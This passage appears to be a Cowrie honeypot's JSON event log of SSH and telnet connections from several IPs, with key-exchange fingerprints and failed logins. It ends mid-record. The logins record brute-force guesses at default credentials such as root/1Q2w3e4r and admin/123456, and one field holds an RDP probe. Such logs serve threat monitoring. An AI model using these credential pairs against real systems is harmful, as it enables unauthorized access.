{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:47.931630Z","src_ip":"103.24.63.85","session":"5a0081b7e916","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:48.684627Z","src_ip":"103.24.63.85","session":"5a0081b7e916","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:49.888361Z","src_ip":"103.24.63.85","session":"5a0081b7e916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":46881,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d2ca3360281","protocol":"ssh","message":"New connection: 103.24.63.85:46881 (159.203.135.109:22) [session: 7d2ca3360281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:01.419370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:01.424843Z","src_ip":"103.24.63.85","session":"7d2ca3360281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:01.620703Z","src_ip":"103.24.63.85","session":"7d2ca3360281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:02.325865Z","src_ip":"103.24.63.85","session":"7d2ca3360281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:03.522782Z","src_ip":"103.24.63.85","session":"7d2ca3360281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45244,"dst_ip":"10.17.0.5","dst_port":23,"session":"e314d2042a25","protocol":"telnet","message":"New connection: 192.119.13.58:45244 (10.17.0.5:23) [session: e314d2042a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:07.498576Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49950,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe257ada264b","protocol":"telnet","message":"New connection: 192.119.13.58:49950 (10.17.0.5:23) [session: fe257ada264b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:08.601421Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":50650,"dst_ip":"159.203.135.109","dst_port":22,"session":"620b12e699c8","protocol":"ssh","message":"New connection: 103.24.63.85:50650 (159.203.135.109:22) [session: 620b12e699c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:15.974576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:15.981027Z","src_ip":"103.24.63.85","session":"620b12e699c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.693363428115845,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:16.180465Z","src_ip":"192.119.13.58","session":"2c2f47fe9baa","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:16.189745Z","src_ip":"103.24.63.85","session":"620b12e699c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.59272861480713,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:16.276606Z","src_ip":"192.119.13.58","session":"2d49557aa2a8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:16.804278Z","src_ip":"103.24.63.85","session":"620b12e699c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56968,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b72c21b6482","protocol":"telnet","message":"New connection: 192.119.13.58:56968 (10.17.0.5:23) [session: 9b72c21b6482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:17.464065Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:18.010708Z","src_ip":"103.24.63.85","session":"620b12e699c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47138,"dst_ip":"10.17.0.5","dst_port":23,"session":"68c1277df5f8","protocol":"telnet","message":"New connection: 192.119.13.58:47138 (10.17.0.5:23) [session: 68c1277df5f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:22.196449Z"}
{"eventid":"cowrie.session.closed","duration":41.396679162979126,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:22.417036Z","src_ip":"192.119.13.58","session":"2b2a8800d67f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48292,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d366e945a20","protocol":"telnet","message":"New connection: 192.119.13.58:48292 (10.17.0.5:23) [session: 4d366e945a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:22.461427Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46326,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c90cbb87e8d","protocol":"telnet","message":"New connection: 192.119.13.58:46326 (10.17.0.5:23) [session: 8c90cbb87e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:23.027288Z"}
{"eventid":"cowrie.session.closed","duration":45.855101585388184,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:27.145041Z","src_ip":"192.119.13.58","session":"3174662c098f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":50462,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c161823e886","protocol":"ssh","message":"New connection: 5.181.124.9:50462 (159.203.135.109:22) [session: 3c161823e886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:27.661005Z"}
{"eventid":"cowrie.session.closed","duration":42.85139226913452,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:28.537603Z","src_ip":"192.119.13.58","session":"d791cfabdaca","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:29.372755Z","src_ip":"5.181.124.9","session":"3c161823e886","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:29.469912Z","src_ip":"5.181.124.9","session":"3c161823e886","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd!@#","message":"login attempt [root/asd!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:32.868862Z","src_ip":"5.181.124.9","session":"3c161823e886","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:34.778292Z","src_ip":"5.181.124.9","session":"3c161823e886","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46456,"dst_ip":"10.17.0.5","dst_port":23,"session":"487367fd3d65","protocol":"telnet","message":"New connection: 192.119.13.58:46456 (10.17.0.5:23) [session: 487367fd3d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:36.084787Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50438,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fafd98fcfb2","protocol":"ssh","message":"New connection: 152.42.212.128:50438 (10.17.0.5:22) [session: 7fafd98fcfb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:36.193644Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:36.201765Z","src_ip":"152.42.212.128","session":"7fafd98fcfb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:36.205714Z","src_ip":"152.42.212.128","session":"7fafd98fcfb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.30645298957825,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:40.804906Z","src_ip":"192.119.13.58","session":"e314d2042a25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48156,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e18eb73ea6c","protocol":"telnet","message":"New connection: 192.119.13.58:48156 (10.17.0.5:23) [session: 4e18eb73ea6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:43.578154Z"}
{"eventid":"cowrie.session.closed","duration":44.45183706283569,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:53.053134Z","src_ip":"192.119.13.58","session":"fe257ada264b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.899065017700195,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:54.362993Z","src_ip":"192.119.13.58","session":"9b72c21b6482","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.055014848709106,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:16:55.082191Z","src_ip":"192.119.13.58","session":"8c90cbb87e8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48588,"dst_ip":"10.17.0.5","dst_port":23,"session":"68fc1476a041","protocol":"telnet","message":"New connection: 192.119.13.58:48588 (10.17.0.5:23) [session: 68fc1476a041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:04.968461Z"}
{"eventid":"cowrie.session.closed","duration":43.74935722351074,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:06.210674Z","src_ip":"192.119.13.58","session":"4d366e945a20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.614400148391724,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:10.810694Z","src_ip":"192.119.13.58","session":"68c1277df5f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52674,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c17f9304eb2","protocol":"telnet","message":"New connection: 192.119.13.58:52674 (10.17.0.5:23) [session: 9c17f9304eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:12.922471Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54470,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c6ace106187","protocol":"telnet","message":"New connection: 192.119.13.58:54470 (10.17.0.5:23) [session: 3c6ace106187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:13.432565Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":33702,"dst_ip":"159.203.135.109","dst_port":22,"session":"d84f87f1ce17","protocol":"ssh","message":"New connection: 103.24.63.85:33702 (159.203.135.109:22) [session: d84f87f1ce17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:15.318857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:15.325325Z","src_ip":"103.24.63.85","session":"d84f87f1ce17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:15.529221Z","src_ip":"103.24.63.85","session":"d84f87f1ce17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.29008507728577,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:15.868115Z","src_ip":"192.119.13.58","session":"4e18eb73ea6c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:16.127154Z","src_ip":"103.24.63.85","session":"d84f87f1ce17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:17.326482Z","src_ip":"103.24.63.85","session":"d84f87f1ce17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42446,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce9ae4d8045f","protocol":"telnet","message":"New connection: 192.119.13.58:42446 (10.17.0.5:23) [session: ce9ae4d8045f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:17.550077Z"}
{"eventid":"cowrie.session.closed","duration":0.005194664001464844,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:17.555132Z","src_ip":"192.119.13.58","session":"ce9ae4d8045f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43648,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5d377eb1a7c","protocol":"telnet","message":"New connection: 192.119.13.58:43648 (10.17.0.5:23) [session: e5d377eb1a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:17.771643Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58274,"dst_ip":"159.203.135.109","dst_port":22,"session":"f66494295d1f","protocol":"ssh","message":"New connection: 103.176.20.57:58274 (159.203.135.109:22) [session: f66494295d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:19.312376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:19.316895Z","src_ip":"103.176.20.57","session":"f66494295d1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"